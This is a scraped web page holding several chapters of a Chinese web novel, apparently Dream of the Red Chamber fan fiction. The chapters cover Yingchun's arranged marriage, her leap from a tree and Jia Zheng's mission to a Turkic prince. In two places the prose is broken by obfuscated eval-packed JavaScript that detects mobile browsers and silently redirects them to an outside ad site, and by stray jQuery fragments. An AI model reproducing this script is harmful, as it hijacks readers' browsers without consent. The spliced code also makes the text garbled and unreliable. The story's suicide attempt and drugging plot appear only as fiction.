d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15140618|160862||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是养尊处优太久了,生生将男儿的胆气都磨没了···” “这是两码事···二老爷为官端正,咱们却背地里做这种事,只怕到时候咱们都不好交差!”贾琏说到这里,仍有些担心。 “正因为二老爷太古板,才被忠顺王呼来唤去的!你看看他新近得的差事!谁不知道西北道危险得很,刚死了一个史家二老爷,如今他又去了,我只怕他的命也不长久!”贾珍又道,这话已经很是放肆了,贾家这样重视礼仪的大家族,尊重长辈是最高原则,贾珍也只敢私下里发泄几句。 只是贾琏已经顾及不到这些,他思索片刻,又道“不知大哥哥可有目标了?那人可靠吗?” 贾珍见他上道,很是满意,轻声道“平安州的泸定王···” “他不是早被圣上看管起来了吗?怎么还敢做这种事?”贾琏惊讶道。 贾珍笑着摇摇头,又道“你先将自己的事处理好,我再和你细细说明,平安州的事还需要你亲自去一趟呢!” 贾琏与贾珍分手后,就带着那日扣下来的人去找贾雨村。只是小厮说贾雨村并不在家,只让他将人和银子留下,那件事自然了结。 贾琏看到贾雨村这样的冷淡,心里更是愤愤不平,强压住怒气,扔下银票,又大声道“你们提的要求我已做到,日后若再拿这件事威胁我,我们贾家也不是吃素的!” 撂了一句狠话,贾琏自以为足以震慑他们,就又去荣府找父亲贾赦回了这件事。 贾赦听罢也很满意,又问道“确定都处理妥当了?” 贾琏哪敢犹豫,立刻点头。 “一万银子,你从哪里来的?”贾赦又问。 这个问题倒让贾琏有些犹豫了,他轻声道“和张家借的···” “你也是好本事!将人家的姑娘偷偷娶了,如今还能借来这么多钱,看来张家人都很巴结你呢···”贾赦悠悠道。 贾琏哪里听不出父亲话中的嘲讽,只低了头不敢说话。 “你一定是仗着自己身份,许了人家许多好处,不然哪个傻子这样白白送人送钱给你!”贾赦哼了一声,再没说话。 贾琏微微抬头,偷看贾赦神情,见他怒气散了一些,便起身为父亲倒了茶,又躬身道“都是儿子的不是,日后一定加倍孝顺体贴父亲!” 贾赦摆摆手,冷笑道“我哪里敢要你孝顺我?只要你以后不再闯祸,我就能多活几年了···” 贾琏的身子越发低了下去。 “你既然能找到张家这样的人,那就快去再找几家,你那妹子也该出嫁了,要不是孙家出了岔子,如今也不用操心她了···”贾赦又道。 贾琏哪里不知道贾赦是为了从迎春的婚事中捞一笔钱,偏还要配合道“儿子一定尽快为二妹妹找一门相配的人家。” 为了让贾赦满意,贾琏拿出了十足的心力去为迎春相看婆家。他也将这事告诉了张济世,请他帮忙留意。生意人的圈子自然都是境况相近的人家。没过几天,张济世就找到了四五家豪富人家。 贾琏自己了解后,也算满意。这些人家都很有钱,却欠缺有权势的靠山,因此都想通过联姻搭上权贵。京城也有许多没落的权贵家庭与商人联姻的,双方都有所图,只是嫁过去的女儿往往过得不太好。 根据贾赦要求,男方的聘礼当时是越多越好。贾琏便将最富有的两家情况回给了贾赦,他们虽都很有钱,只是家中子弟的教养比起贾家这样的家庭,实在是云泥之别。任何人看一眼,都会知道两家的儿女并不相配。 只是贾赦和贾琏并不很担心迎春的未来,哪个女子不嫁人?哪个女子可以自己挑选婆家?他们做父兄的全权作主就行了。夫妻二人是否相配也不是他们需要考虑的。他们只以为如今男方地位低于他们,以后迎春嫁过去了,男方家里哪敢有丝毫不尊重的?却没有想到女儿左右为难的处境。 就像贾赦这样,分明是在卖女儿,而不是嫁女儿。 73.风刀霜剑严相逼 没过几日,贾赦已为迎春又选定了一户姓景的生意人家的子弟,河北人氏,主做中药材的。今日特来告知贾母。 “怎么又换人家了?之前不是说定了一个姓孙的吗?”贾母疑惑问道。 贾赦听出贾母语气略有不满,便陪笑道“先前那个孙绍祖上战场去了,他本身性子也有些鲁莽,难免出事,所以我想不如再寻觅好的,这也是为了姑娘着想。” 贾母点点头,认为贾赦这一番话倒还像个样子,便又道“你们做父母的满意就好,只是迎春性子懦弱,也不可配一个太强势的夫婿。” “老太太先前叮嘱的我们都记着呢!这次正是按老太太的要求挑的!”邢夫人又帮腔道。 “你们去料理婚事吧,若忙不过来便叫二太太和珠儿媳妇帮忙。迎春出嫁我自然是要添妆的,之后让鸳鸯将单子拿给你们。”贾母又说道。 贾赦夫妇见状便识趣地告退了。贾赦让贾琏立刻和景家商谈婚事。 景家在河北老家也是豪富,因此婚事自然要在老家操办的。迎亲日子定在了八月初,到时景家人上门来接。 贾赦与邢夫人得了准信,邢夫人便开始操办大小事务。邢夫人想省一笔钱,竟没有找外面的人帮忙,只让迎春与丫鬟们把所有针线活儿都做了。 女孩出嫁所需的针织品实在庞杂,迎春再没有时间和姐妹们玩闹,幸好有个擅长针线的晴雯为迎春分担,她还能喘一口气。 姐妹们也都很关心迎春的情绪,便不时来迎春处与她一同做针线。 探春刚刚得知大老爷已经为二姐姐迎春订好了亲事时,便立刻拿出了贾政走前交给她的信封。谁知里面却是写着让她们去找林如海帮忙。 探春又和姐妹们商议了一下,最后是黛玉传信给林如海,让他邀请贾家的女孩儿们去林家新修好的园子赏玩。 贾母和邢,王夫人都没有去,她们也不想打扰孩子们玩乐。便由李纨带着孩子们去了林家。只是到了林家,因都是未出阁的女孩并不好一齐去说迎春的婚事,便只有黛玉和探春去找了林如海说。 林如海接过了探春递来的信件,自己细看后才知道,原来是贾政委托他查清迎春夫家的底细,若对方算得上良配,也就不需要干预。若是实在不合适,便让他从中使个绊子,将这事搅黄了。 “你父亲连这种事都要掺和,真不知道他是不是心力太富裕了!”林如海看罢,又抚须笑道。在林如海眼中,兄长要为自家的子女主持婚事,做弟弟哪有什么插手的地方? 只是他虽不理解,但出于对贾政的信任,也立刻将这事放在心上,差人去做了。 探春犹豫一会儿,才道“大老爷做事有些···,父亲也只是担忧二姐姐因此受苦,所以才···” 林如海便宽慰道“不用如此紧张,你父亲交待的的事我肯定要去办的,你们两个去玩吧,也别太为此愁苦了!” “父亲你真好说话!”林黛玉见状立刻走到林如海身旁,抱住他手臂不停地晃。林如海笑笑,看着女儿娇憨可爱的样子,便有无限的疼爱涌现出来,点了点她的额头,才说道“你这孩子却来操心人家的婚事,自己也不害羞吗?” 黛玉却摇头笑道“我们只是太关心二姐姐了,顾不上这一点点的不合礼法之处了。父亲莫要生气,好不好呢?” 林如海纵使生气也不会向黛玉发泄,更何况他本就没有生气。便笑着摸摸黛玉的头,说道“出去玩吧,花厅里有准备好的茶果,都是江南来的。” 姐妹们在林府欢欢喜喜玩了一日,虽然迎春淡淡的,但是这样的欢聚她也很珍惜,待出嫁之后,便再也没有了。 经林如海的调查,景家不仅豪富,处事也还算正派。如今当家人景老爷膝下三个儿子,迎春的未婚夫是二少爷。只是让林如海有些疑惑的是,那位三少爷与二少爷只相差几个月,却传闻身体虚弱,景家一直有意择一门相配的婚事冲喜。如今二少爷的婚事已经说定,三少爷的婚事却还没有着落,难道景家不着急吗? 这就不由得让他有一些不太好的联想,思索过后,林如海向贾政修书一封,将自己了解的事情全盘相告。他仍留了人手一直关注着景家的事,担心会有波澜。 再看西北道那边,此时俨然是另一番肃穆景象。 经封严的密探汇报,近日频频在塔列将军的士兵中发现一些中原特有的物品,如兵器战袍。 又发现塔列将军处每十天就有一小队人马驮运物资过来。密探留心观察后,便可以断定,这队人马中绝大部分都是汉人,并且他们车马上驮的东西都是突厥人喜爱的中原物品,布匹茶叶精制银器等。 封严和贾政商议后,二人便认为,勾结汉人妄图造反的便是这位塔列将军,而先前损失的粮草也必定是被他偷走的。 有了这个消息,他们之前计划的事情就可以开始实行了。由贾政亲自出面,暗中与可汗的幼子,阿克塞王子联合。 此行最坏的结果,就是被突厥人绑了,或是杀害或是当作人质俘虏。封严当然要做许多保障,才敢放心让贾政深入虎穴。 他将自己在突厥那边所有线人的姓名外貌特征和联络暗语都告诉了贾政,并叮嘱道“若他们想要害你,你便主动说可向我索取赎金,无论多少钱,只要先稳住他们,我自然想尽办法营救你的。” 贾政笑了笑,又点头道“我都记住了。”说罢,又从袖中取出两封信交给封严,轻声道“我若遇难,这两封信拜托大人帮我带给家人。” 封严接过后扫了一眼,一封是写给林如海的,一封是给妻子的。他心中不免也有几分不忍和凄凉,便郑重说道“存周舍身取义,我理当让你无后顾之忧。” 这话分明是说若贾政死在突厥,封严会尽力帮他照顾家眷。 贾政听后若有所思,却叹了口气,看向远方。巍峨的贺兰山屹立着,近处是一大片没有边际的戈壁滩,只有荒凉。 “大人,我哼一支曲子给您听吧···”贾政轻声说罢也不等封严回答,就自顾自哼唱了起来。 是一支金陵小调。 封严事先让自己的人在突厥那边接应贾政,并已经让人和阿克塞王子暗中接应了。待确定了对方有联合的意愿,他才放心让贾政动身。 出使塞外本就是九死一生的事,没有人敢确保安全。只有亲身去了阿克塞王子的大军营地,才能体现出他们的诚意。 其中必然要经过的一大片沙漠是贾政的第一个挑战。 即使在科技发达的现代,地球上都有一大半人类没有涉足的地方,更何况是现在这个没有卫星定位系统的时候。人若迷失在沙漠中,只能走向死亡。 贾政一行十来个人,扮作边境上的小商贩。其中有一半都是突厥和汉人通婚的后代,他们外貌偏向突厥人,也会说突厥话。这样一路上若遇上突厥人,也就没那么容易被发现破绽。 “你上来坐着歇一会儿。”贾政翻身下了骆驼,又对领队笑道。这人叫做师长山,自幼长在边境,精通突厥语,而且对在沙漠和草原上分辨方向很是擅长。 因为几匹骆驼上都载满了货物,大家只能轮流乘骆驼休息。 师长山听了贾政的话,刚要婉拒,却被贾政扶住肩膀,又道“你是领队,是最不能累倒的人。现在多保存体力,若真的遇到急事,才能全力带咱们脱困。”他看到贾政如此坚持,也就不再客套,翻身上了骆驼,又大声道“再走一个时辰,咱们到前面那棵胡杨树下歇息。” 贾政顺着他手指的方向看去,只看到近处一棵小小的树木,便想问大约不需要一个时辰。谁知师长山又对他说道“大人不要小看这么一段距离,要真的走起来,一个时辰已经算快的了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15148609|160862||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在这里看树木很小,走近了便知道已经是沙漠上很高大的了。” “望山跑死马,就是这个意思吧!”贾政叹道。 师长山就点点头,又笑道“西北地区就是这样的辽阔,往往看起来近在迟尺,有时候一整天都走不到。” “的确,总要亲自感受过才能有这样深刻的体会!”贾政笑了笑,便不再说话,认真赶路。走了大约一个时辰,他们果真到了胡杨树下。贾政也就对师长山更信任了。 一行人吃了干粮,又开始赶路。贾政看其他人都只是默默走着,也不敢说话,气氛闷闷的,就主动说道“这样赶路实在枯燥,不如我讲个故事给大家听,如何呢?” 师长山便先附和道“大人有如此雅兴,我们自然要侧耳静听了!” 贾政又看一圈其余的人,也有几个附和的,他便想了想才说道“不如说个苏武牧羊的故事?也很应景。” “苏武是汉朝武帝时期的一位将军。他受皇帝派遣,率领一百多人出使匈奴···”贾政声情并茂道。 队伍里的人大都是平民出身,读过书了解这段故事的并没有几个,看贾政说得生动,此时也都认真听了起来。 “他们完成任务后,正要赶回长安,只可惜途中匈奴发生了内乱,苏武一行人被扣留了。他们便强逼苏武背叛汉室留在匈奴人手下做事,只是苏武为人颇有气节,他宁死不屈。后来便被匈奴人流放到北海,一个苦寒之地。他在那里牧羊长达十九年,才被武帝接回长安···”贾政说到这里,忽然有个小士兵问道“大人,我们也会像这样吗?” 小士兵话刚出口,旁边就有人拽他手臂,提醒他不要再说。 贾政却笑了笑,回答道“我也不知道,也许会这样···” “也不知道我能不能在那样的地方活十九年!”又有一人说道。 此时师长山变了脸色,就要开口训斥,忽听得贾政说道“如果我们行程顺利的话,便有机会挽救许多人的性命,我以为这也是一种好处吧!那些处在叶榆城的士兵,你们或多或少也认识一些。” “也许只有认识到其中的危难,我们才更能有不惧危险的勇气!”贾政轻轻叹口气,又笑道“本来是想让你们振奋一点的,却···你们随便听听,过后忘记也就罢了。” 一行人夜以继日地赶路,期间也遇到两次匈奴人,都很顺利地混过去了。在沙漠中行军,可谓是风餐露宿,步履维艰。又行了七日,在第八日傍晚,远远看到了草原,师长山便道“前面就是阿克塞王子的驻地了。” 夕阳染红了帐篷,河流,草地和云朵,贾政在弯弯曲曲的河面上,看到了七个太阳。 迎春的婚期还有一个多月,她和丫鬟们更是秉烛达旦地做针线,学规矩,不敢有丝毫懈怠。并且邢夫人每天都派嬷嬷来盯着她们。有这样的人监视,姐妹们反而不好来帮助迎春。 只是为了让迎春开怀,宝玉便在姐妹们的建议下,常去贾母处撒娇,让迎春过来玩。 贾母虽认为这样不妥当,不应该打扰迎春。但知道她们姐妹情深,也耐不住宝玉撒娇装傻,有时也会顺她们的意,让人去接迎春。 七月里的一个清晨,宝玉和黛玉两个在贾母处用了早饭,便约着去邢夫人处看看二姐姐。姐妹两个边走边说话,刚走到王夫人院门口,二人准备进去请安,忽听得一个小丫鬟跌跌撞撞跑了过来,嘴里喊着“太太,不好了!” 黛玉立刻拦住小丫鬟,刚要开口问时,探春也走了过来。黛玉看到探春脚步慌乱,神情紧张,全无半点往日的沉稳,便忙上去扶着她两臂。 探春颤抖着声音,轻声道“快去找母亲,出大事了···” 黛玉没有追问,立刻和宝玉扶着探春进了王夫人的屋子。 探春看到王夫人,便哽咽道“母亲,快去瞧瞧二姐姐吧!” 74.何曾吹落北风中 王夫人和宝玉黛玉听罢,都很惊讶。 王夫人忙道“出什么事了?” 探春强忍住眼泪,才回道“二姐姐不知道为什么爬到了院里那棵槐树上,一直不肯下来···” 刚才来报信的丫鬟也附和道“今日一早大太太有事找二小姐,我们遍寻不得,最后是一个粗使丫鬟不经意发现的。” “二姑娘说什么了没有?”王夫人尽量让自己保持冷静,追问道。 小丫鬟摇摇头,回道“姑娘说要等太太和姐妹们过去了,她才肯说话。” “二姐姐身边日夜都少不了人,怎么会出这种事?”黛玉很着急,但也很困惑。 探春却说道“她昨晚只留了晴雯在身边,想来她们两个串通好了的···”探春所知也是方才邢夫人处的丫鬟告诉她的。 王夫人听罢,立刻吩咐小丫鬟道“你且待在这里,这件事不要再告诉任何人!尤其是不能让老太太知道半点!” 众人都知道事关紧要,不敢透露出去。王夫人说罢,自己立刻就要去邢夫人处,宝黛探三姐妹也紧跟着。因为迎春说要等她们过去才有话说,王夫人心里虽然着急,但也只能稳住情绪。 待几人在门口下了车,早有邢夫人的陪房,王善保家的在那里等着。王夫人也来不及和她寒暄,就往里走。 “二姑娘就要出嫁的人,却这么不懂事,闹出这么大阵仗,要让老太太知道了可不得了!”王善保家还不忘议论两句,刚要再说时却被探春瞪了一眼,她忙捂住嘴巴,不敢说半个字。 此时邢夫人这里的小花园,早就被下人们在各个入口看住了,以防被更多人知道这事。 快走到花园时,邢夫人也迎了过来,王夫人与孩子们都略略行了礼,才问明了情况。几人边走边说,邢夫人委屈道“也不知道她有什么委屈,偏要这样大闹一场呢?” 王夫人并不好指责,只是宽慰道“小孩子也许有哪里想不开的,一会儿劝好了就没事了。” 说话间,几人已经走至花园中,宝玉一眼看到高处的迎春,便喊道“二姐姐,千万不要做傻事啊!” 黛玉忙拽他袖子,说道“小声点,不要大喊!”宝玉情急之下喊了一声,听了黛玉的话也就立刻放低了声音。 迎春手扶着一节干瘦的树枝,坐在一根比较粗的树干上。因为在树上待了许久,此时她的情绪已经冷静了很多,但是面色依然苍白,树底下的人却看不真切。 她看到自己想见的人已经来的差不多,也知道等不来其他的人了,就笑了笑,开口说道“请太太原谅我不能行礼了···” “还说这个做什么呢?你先下来,有什么话咱们慢慢说好不好呢?”王夫人微微仰着头,尽量用自己最柔和的语气说话。 “二姐姐,不要冲动,有什么事不能解决的呢?你若担心什么,我一会儿将宝姐姐也叫过来,你不是最信服她的话了吗?让她给你出主意好不好呢?”黛玉也柔声劝道。 探春也跟着劝慰,只是迎春并没有回答,她自顾自说道“我自小孤苦,多亏了婶子疼我,还有姐妹们的关爱,才过了几年好日子。本来应该好好报答你们的,只是如今看来却不能够了···” 迎春说罢,扔了一个小包裹下来。落在地上,发出闷闷的响声。 宝玉立刻捡了起来。迎春便道“里面是我为婶子和姐妹们做的几件东西,就当留个念想了。” 王夫人见迎春不听劝解,已经着急得不知如何是好。她手里紧紧捏着帕子,一面为迎春担心,一面害怕贾母知道此事。她来回踱步,又时刻关注着迎春的动静。 邢夫人也有些着急,只是她以为自己很无辜,更不知道如何解决。 探春听到迎春说出这样的话,立刻知道她心怀死志。又四处看了一遍,找到四五个小丫鬟,让她们快去将棉被褥子都带过来,越多越好。 吩咐完这件事,探春立刻走到树下,又轻声告诉黛玉和宝玉,让她们两个多说话,拖延一会儿时间。 “二姐姐,我还想麻烦你为我做一个香袋呢!你也不帮我了吗?”宝玉突然说道。 迎春听后却犹豫了一下,说道“晴雯针线极好,以后让她去服侍你,你便不用愁这些事情了。也不枉我们的情意···” 探春立刻问道“晴雯在哪里?” 王善保家的偷瞄一眼邢夫人神情,她便回答道“晴雯唆使主子,已经被关起来了!” “我只是想再见你们一面,也就没有遗憾了···”迎春边说话边站了起来,右手松松扶着那根细细的枝杈。 探春见情况危急,立刻向正抱着棉被的丫鬟喊道“快跑过来!”探春拿到棉被,马上与黛玉二人在树下铺好了。只是看起来实在不够用,正发愁时,宝玉突然叫了一声。探春和黛玉下意识伸出双手想要接住迎春。 只是这槐树足有四五米高,她们两个如何接得住同样身量的迎春? 迎春大半个身子落在了棉被上,发出重响。她的右腿却重重砸在了地面,探春听到了骨头断裂的声音。 在众人都惊讶迎春如此决绝的举动时,探春反而立刻冷静下来。她先试探了迎春的鼻息,又很快检查了她全身。呼吸算得上有力,只是小腿已经折断,骨头露了出来。万幸棉被送来的及时,不然恐怕情形更差。 探春略略放了心,此时黛玉也道“必须去请擅长医治跌打损伤的大夫。” 跳下来之后,迎春感到她眼中的世界变得迷糊起来。剧烈的疼痛,眼泪不自觉地涌出来。有许多人围着她,喊她的名字。她想让这些人不用担心,却说不出一个字。 过了一会儿又闻到了浓郁的药味。她并不喜欢喝药,但被人强灌了一些汤药。又有人在她口中塞了什么东西,她无法咬住,随之而来的又是钻心的疼痛。 痛苦持续好久,才极慢地散去了。她想要抓住一样柔软的东西,就伸出两只手摸索。很快,她的后背感到柔软,于是她彻底放松了。她浑身湿透,却像是回到母亲的怀抱中那样,睡得沉稳,脸上再无半点痛苦。 迎春已昏睡了五日,大夫虽说她再无性命之忧,但是断了的腿却很难康复。日后即使好转,走路时伤腿也不太便捷。而更大概率的情况是,如果不拄拐,她永远无法站起来了。 迎春昏迷中一直抱着王夫人不松手,王夫人无法,贾赦便让将迎春带到王夫人处养病。而对于迎春突然的举动,贾赦与邢夫人只是叹气,并没有多说什么。 他们都不敢让贾母知道此事,只是天下哪有不透风的墙?迎春断腿的第二日,贾母就知道了。除了将贾赦与邢夫人责骂一顿之外,她也只能吩咐人多多上心照料。 而探春却和黛玉在迎春跳树的第一天,就趁着慌乱,找到被关起来的晴雯,问了个清楚。 晴雯虽被关了一夜,但精神尚可,她见只有探春和黛玉两个人,便立刻问道“姑娘怎么样了?” 探春沉着脸,没有回答。 黛玉便道“你先说说,你昨晚和二姐姐说什么了?” 晴雯忙解释道“我从院子里的婆子们闲聊中听到,大老爷为姑娘选中的两户人家,都不是什么好人···” “林姑父不是说已经查过了吗?说是还算正派。”探春疑惑道。 “正派只是表面,实际上行事却少不了无赖气。”晴雯又道“他们说本来景家人很满意与咱们家结亲,他们是做生意的,满心以为能傍上咱们家,捞些好处。但是前些日子他们有事求大老爷,大老爷还收了人家的钱,却没有认真去办。” “这就惹恼了景家人,只是他们也不好表现出不满来···”晴雯犹豫一会儿,看探春和黛玉都很焦急,便又说道“她们说景家人便想出了办法,来打压大老爷的傲气。” “他们做什么了?”黛玉问道。 “景家有三个少爷,本来是将姑娘说给二少爷的。他们却传出消息来,说大老爷这样着急嫁女儿,一定有什么不可告诉外人的事情。便说这样的女子不配嫁给他们的二少爷,只能给三 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探春立刻会意,便道“只等二姐姐醒来之后问清楚了再说,你就先去那边院里躲几天吧,若是大老爷有心拿你开刀,恐怕我们是没有办法阻拦的···” 晴雯便哭道“我起初也是为了姑娘好,说那些话也是想让姑娘日后多留些心,她性子软,待我却极好,我哪里会成心害她呢?···” “起来吧,一切等二姐姐醒来再说吧。”探春又如此说道。晴雯便不好坚持。 此时王夫人的上房里,王夫人让迎春半靠着她,锦屏给昏迷的迎春喂药。 “这都十多天了,迎春怎么还不醒来呢?”王夫人扶着迎春躺下,又叹道。 锦屏便解释道“大夫说了,除了腿伤,二姑娘并无内伤,如今不愿意醒来,也许是有心结吧。” 王夫人急道“当初珠儿生病时也是这样,只是他的心结那时有老爷去开解,迎春又怎么办呢?”虽然探春和黛玉已经将晴雯说的事全部告诉了王夫人,但王夫人在他人面不敢有丝毫表露。 这时,贾珠和李纨也来看迎春。二人行过礼后,李纨便在迎春床旁坐了下来。 贾珠看王夫人神情忧虑,便宽慰道“大夫都说二妹妹没有大碍了,母亲也不要太担心,倒是自己也容易伤身子。”说罢,又为母亲倒了杯茶,看她喝了一些,这才又坐了下来。 “珠儿,前几年你重病时,你父亲与你说过什么话,你还记得吗?”王夫人又问道。 “父亲开解了我许多话,最让我醍醐灌顶的就是父亲说,家人才是最重要的。”贾珠想到这里,也像是回到了那个时候。他又看一眼脸色苍白的迎春,心中也有许多对妹妹的疼惜。 贾赦自然也听到了流言,起初他并没有在意,但当偶尔听到下人口中也在谈论时,他便知道这是景家人的计谋。 不过是想通过这样下三滥的手段,好让他帮忙办事嘛!他又没有说过不帮忙,只是先前没有上心罢了。 贾赦立刻找到贾琏,让他马上去为景家的事情奔走。只是还来不及等到结果,贾赦先看到了躺在床上气息微弱的迎春。 他到底对这个女儿有多少父女情呢?恐怕是个说出来不太好听的答案。 迎春实在太沉默内敛,她似乎比不上任何一个姐妹,甚至比不上那些机灵活泼的丫鬟。她虽不蠢笨,但内向并且相貌不太出众的孩子从来就容易被人忽略,况且迎春的生母又早早去世。 贾赦自认没有任何理由让自己对迎春多几分关注。不过是已经死了的小妾生的女儿,何况她又不招人喜欢。所以贾赦为迎春操办婚事,更多考虑的是自己的利益。 而如今迎春断了腿,若以后站不起来了,估计更没有富人愿意娶她。或是她勉强可以走路,恐怕可以结亲的人家也就是极普通的,贾赦看不上眼的那种。 在贾赦眼中,断了腿的迎春已经失去了婚姻价值。而作为女儿,贾赦从来也不喜欢她。 75.苏武牧羊北海边 再看贾政这边。 阿克塞王子并没有冷落贾政一行人,反而很是热情接待了他们。当晚就宰羊杀牛,举办了篝火晚会,这算是很高的礼遇。纵然如此,贾政完全没有放松,他时刻紧绷着,只是面上平和。 突厥人也很沉得住气,接下来三日都是纵情歌舞,没有要谈正事的样子。 贾政便自己四处走走看看,打听了一些当地的风貌人情。也要做出一副沉稳的模样。虽然想与密探联系,打听情况,但此时必须沉住气,不可莽撞将探子暴露了。 一日上午,贾政一人骑着马在草场上转悠,师长山带了几个人远远跟着。 忽从身后传来一个女子声音“大人好兴致!” 贾政回头一看,一个女子正对他笑。她穿着突厥男子的服饰,双手拽着缰绳,好一副英气勃勃的模样。 “不知阁下是谁?”贾政也报以微笑,又问道。 这女子却不理会,只自顾自问道“大人以为突厥如何?”抛出一个宏大且模糊的问题。 贾政思考一会儿,便笑道“突厥很好。” “如此简单的回答吗?”女子又问。 贾政说道“我的答案太多,却不知道你想听什么?” 女子又道“请大人随意说说吧。”,女子说罢,就翻身下了马。 居高临下地回答别人的问题不是个好习惯,贾政也下了马。他一只手紧拽着缰绳,才道“在我眼中,突厥人和汉人并无分别,只是因为生活在不同的地方,面对不同的问题,所以才总会发生摩擦。” 顿了顿,又道“至于国家层面的话,我想还是我们国家的文明程度更高一些。” 贾政话说的很直接,这女子听罢也没有恼怒,又道“文明程度是什么?” 贾政有些懊恼自己用了这样一个词语,又道“我们的国家沿袭了上千年的礼教,这就是文明的直接表现。只是要说起礼教,实在太复杂,一时半会说不清楚。” “我也找过几个南边有名的先生向他们学习,只是他们所教的礼仪实在太麻烦,我们都没有耐心去学,反而更喜欢这样自由奔放的行事。”女子又道。 “从人的本性来看,每个人都不喜欢被管束的···”贾政也笑了笑。 “既然如此,大人何不留在这里纵情享受不受管制的生活呢?以大人的才华,不愁没有高官厚禄!”女子说罢,眨着一双桃花眼,笑着看贾政神情。 “如果我可以割舍全部责任,也许真的会愿意来这里生活吧,像那些牛羊一样。”贾政望向草原的深处,起伏和缓的青草坡像是大海平静的波涛。 “可惜我做不到舍弃那些,我也不愿意舍弃。”贾政回过神,又补充道。 待贾政回过头时,已不见了那个女子的身影,贾政也没有惊讶,只是牵着马往回走了。 当日下午,阿克塞王子终于有了会谈的兴致,便派人带着贾政几人来到了通常议事用的营帐。 阿克塞王子不到二十岁,虽看来桀骜不驯,但做事说话中却能看出良好的教养,这一点却和汉人贵族子弟相似。只是坐在他身侧的却是一位女子。 “大人此行是来找我们谈合作的?”阿克塞王子说道。 贾政点点头,又道“这是元帅亲笔写的信件。”说罢,就将信件递给了师长山,让他转交。 阿克塞王子接过信件后,随意看了看,才道“不过是一纸契约,哪方要是变卦也容易得很。” “我们为你们提供物资和紧要的信息,帮助你们剿灭另外两派,顺利当上可汗。这还不足够有吸引力吗?”贾政神情镇定,笑着说道。 “你们又需要从我这里获得什么呢?”阿克塞王子也很冷静,又问道。 “不过是等王子当上可汗之后的承诺罢了,承诺五十年内不再侵犯边境。”贾政缓缓说道。 阿克塞王子摇摇头笑了笑,“听起来是个很划算的交换。” “你现在能拿出什么实际的东西来,让我相信你呢?”阿克塞王子追问道。 “助你将塔列将军剿了!”贾政正色道。 “这倒很有意思。”阿克塞王子身侧的女子突然开口说话了,贾政认出她就是上午在草原上向他提问的女子。 “母亲,不是说好了让我一个人和他们谈吗?您怎么又插手了!”阿克塞王子有些不满,向她抱怨道。 “大人不如详细说一说如何操作呢?”王妃问道。 贾政早知道这女子地位尊贵,却没想到竟然是阿克塞王子的母亲。他也没有犹豫,立刻说道“如今汗可王子忙着和我们的军队打仗,塔列将军肯定想不到此时会有人骚扰他。” “而且他也与汉人暗中勾结了,不过不是我这一派的。我们只需要派十来个汉人装作与他商谈事务,运送物资,他自然没有不信的。然后暗中在他们的酒饭中做手脚,再将所有粮草烧了,这样就万无一失了,他们再没有反抗之力。”贾政说罢,就等待阿克塞王子与他母亲的反应。 “这样简单吗?恐怕大人轻视了塔列将军。”王妃笑道。 “虽然听起来有些粗陋,但若可以拿准时机,反而效果很好。”贾政答道。 “什么样的时机呢?”王妃追问。 “找一个让塔列将军放松警惕的时机。”贾政又答,说罢便看着眼前的茶杯。 “大人何不说个清楚?”阿克塞将军懒得去猜,立刻问道。 王妃半抬起右手,示意儿子不要着急,她又笑道“大人想让我出面?” “不一定让您亲自出面,只要找一个可汗的亲信或是常在他身边服侍的人,与咱们一同演戏,塔列将军再没有不信的。”贾政说道。 “到时候兵分三路,一队人马假装成可汗的使者,赏赐金银牛羊,一队人马假装是汉人与他秘密接触的。这两队人撞到一起,塔列将军定要慌乱,倒时我们便可以施行接下来的计划了。而阿克塞王子便率领大军,随时准备进攻。”贾政详细解释道。 “这样看来,也有几分胜算。”阿克塞王子点点头,又看自己的母亲。 王妃指了指贾政,笑道“我想让你亲自带人去和塔列谈事,如何呢?” “自然责无旁贷!”贾政没有半点犹豫,应下了这个任务, 王妃是个敢于冒险的人,她亲带了几十人的队伍,扮作从可汗处来的人。贾政仍是带着他那十几个人,又上了路。 塔列将军的驻地在阿克塞将军驻地的西边,距此又是十几日的路程。 距离塔列将军驻地还有三日路程时,走在前面的王妃一行人派人传来了信,要求今晚一起详细确定行动的安排。 师长山便担忧道“大人,不如您不要亲自去了,塔列将军肯定对常与他联系的汉人很了解,咱们这样直接上门,他肯定要怀疑的。况且他脾气暴躁,我担心···” “我不去的话,让你们去送死吗?”贾政反问道。 “作属下的理应为大人赴汤蹈火!”师长山神色认真。 贾政便拍拍他的肩膀,又道“咱们是一起来执行任务的,遇事我肯定要挡在你们前面。你非但不能为我去死,而且需要尽一切可能保住性命。” 师长山听罢也只能点点头。 “给封大人的信带回去了没有?”贾政又低声问道。 “咱们从阿克塞将军处启程那日,我就让密探带回去了。”师长山回道。 贾政点点头,又道“希望他和汗可将军的行动顺利!” 沙漠的夜晚很是寒冷,众人都裹着厚毡毯,围坐在火堆旁。贾政和王妃同样面对面坐着。 贾政拿起一截枯枝在地上写写画画,又道“我们最好在早晨来到塔列将军的驻地附近,王妃带人先进去,谎称是来送可汗的赏赐。那么多的牛羊,他的手下肯定需要忙活一阵子。” “只等他们正忙时,我便带着一小队人偷偷传信拜访。塔列心里有鬼,自然要先将我们藏起来。按照传统,晚上他肯定要设宴招待可汗的使者,借此机会,我们便在酒水中全部下药。为了防止有部分守卫没有晕倒,便需一点小计策,将他们的粮草一把火烧了。”贾政细细分析道。 “又是什么计策?”王妃笑问。 “王妃看过烟花没有?”贾政问道“当人们仰头看烟花时,一点掉落在地上的火星就足以引燃粮仓。” “可惜美丽的事物却被人用来做坏事。”王妃笑了笑。 